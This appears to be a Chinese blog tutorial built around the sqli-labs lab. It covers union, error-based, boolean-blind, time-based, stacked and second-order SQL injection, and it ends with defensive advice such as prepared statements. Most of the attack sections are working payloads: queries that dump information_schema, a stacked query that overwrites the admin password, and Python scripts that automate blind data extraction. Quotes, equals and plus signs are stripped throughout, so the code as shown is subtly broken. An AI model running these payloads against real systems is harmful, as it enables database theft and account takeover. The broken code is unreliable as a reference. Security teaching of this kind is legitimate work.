别光顾着通关!用sqli-labs靶场学透SQL注入的5种核心手法(附实战代码)

张开发
2026/4/19 17:44:49 15 分钟阅读

分享文章

别光顾着通关!用sqli-labs靶场学透SQL注入的5种核心手法(附实战代码)
从sqli-labs靶场到实战SQL注入五大手法深度解析与防御策略在网络安全领域SQL注入始终是Web应用最危险的漏洞之一。sqli-labs靶场作为经典的SQL注入学习平台其65个关卡几乎涵盖了所有可能的注入场景。但单纯按部就班地通关每个关卡往往只能获得零散的知识点。本文将跳出关卡顺序从攻击者视角系统归纳五种核心注入手法并附可直接用于实战检测的代码片段。1. 联合查询注入最直接的数据库窃取术联合查询(Union-based)注入是SQL注入中最直观的一种方式。当应用存在回显点时攻击者可以通过UNION操作符将恶意查询结果与原查询结果合并显示。典型特征页面存在数据回显后端使用SELECT语句直接拼接用户输入错误信息可能暴露数据库结构实战检测四步法-- 第一步确定列数通过不断递增order by数值 ?id1 order by 3-- -- 第二步定位回显位使用不存在的id值 ?id-1 union select 1,2,3-- -- 第三步获取基础信息 ?id-1 union select 1,database(),version()-- -- 第四步提取敏感数据 ?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--绕过技巧当空格被过滤时可用/**/或%a0替代信息被截断时使用substr()分段获取表名被过滤时转为十六进制格式如0x7573657273注意联合注入需要前后查询列数相同且对应列数据类型兼容。在实际测试中建议先用NULL占位避免类型不匹配导致的错误。2. 报错注入当错误信息成为突破口报错(Error-based)注入利用数据库的报错机制通过故意构造错误语法来泄露数据。这种方式在页面没有明显回显但会显示错误信息时特别有效。三大经典报错函数对比函数触发原理数据长度限制适用场景extractvalue()XPATH语法错误32字符MySQL 5.1updatexml()XPATH语法错误32字符MySQL 5.1floor()rand()主键冲突无限制MySQL 5.0实战代码示例-- extractvalue报错注入 ?id1 and extractvalue(1,concat(0x7e,(select user()),0x7e))-- -- updatexml报错注入 ?id1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -- floor报错注入 ?id1 and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--进阶技巧使用mid()函数分段获取长数据结合if()条件判断实现盲注效果当单引号被过滤时使用0x十六进制编码3. 布尔盲注无回显情况下的数据推断布尔(Boolean-based)盲注适用于页面没有数据回显但会根据SQL执行结果返回不同响应的情况如登录成功/失败。核心函数组合length()判断字符串长度substr()截取特定位置字符ascii()获取字符ASCII码like模糊匹配自动化检测脚本示例import requests target http://example.com/login.php chars 0123456789abcdefghijklmnopqrstuvwxyz def check(payload): data {username: fadmin and {payload}-- , password:test} r requests.post(target, datadata) return Welcome admin in r.text # 获取数据库名长度 length 0 while True: if check(flength(database()){length}): break length 1 # 逐字符获取数据库名 db_name for i in range(1, length1): for c in chars: if check(fsubstr(database(),{i},1){c}): db_name c break print(fDatabase: {db_name})优化策略使用二分查找法提高效率优先测试常见表名users, admin, customer等结合regexp进行模式匹配4. 时间盲注最隐蔽的数据渗漏方式时间(Time-based)盲注在页面没有任何变化时依然有效通过观察响应延迟来判断条件真假。关键函数sleep()强制延迟benchmark()消耗CPU时间if()条件判断典型Payload结构?id1 and if(ascii(substr(database(),1,1))100,sleep(3),0)--Python自动化检测实现import time import requests def timed_query(payload): start time.time() requests.get(fhttp://example.com/?id1{payload}) return time.time() - start 3 # 假设3秒为阈值 # 检测是否存在时间注入漏洞 if timed_query( and sleep(3)-- ): print(Vulnerable to time-based SQLi)注意事项网络延迟可能导致误判建议设置合理的阈值过度请求可能触发WAF规则需控制请求频率结合like和rlike减少请求次数5. 堆叠注入与二次注入被忽视的高危漏洞堆叠(Stacked)注入允许执行多条SQL语句而二次(Second-order)注入则利用数据存储阶段的漏洞。堆叠注入典型场景?id1; update users set passwordhacked where useradmin--二次注入攻击流程注册恶意用户名admin--系统将用户名存入数据库未执行过滤密码修改时执行UPDATE users SET passwordnewpass WHERE usernameadmin-- 实际修改的是admin用户的密码防御建议使用参数化查询而非字符串拼接对输入输出都进行严格过滤最小化数据库账户权限禁用多语句查询功能从攻击到防御构建完整防护体系理解攻击手法是为了更好地防御。一个完整的SQL注入防护方案应包含技术层面预编译语句(Prepared Statement)存储过程(Stored Procedure)ORM框架的安全使用正则表达式过滤关键语法管理层面定期安全审计与渗透测试Web应用防火墙(WAF)规则更新敏感数据加密存储完善的日志监控系统开发规范// 不安全写法 String query SELECT * FROM users WHERE id userInput; // 安全写法 PreparedStatement stmt conn.prepareStatement(SELECT * FROM users WHERE id ?); stmt.setInt(1, Integer.parseInt(userInput));在实际项目中建议将SQL注入检测纳入CI/CD流程使用自动化工具如SQLMap进行定期扫描同时结合人工审计确保没有遗漏。

更多文章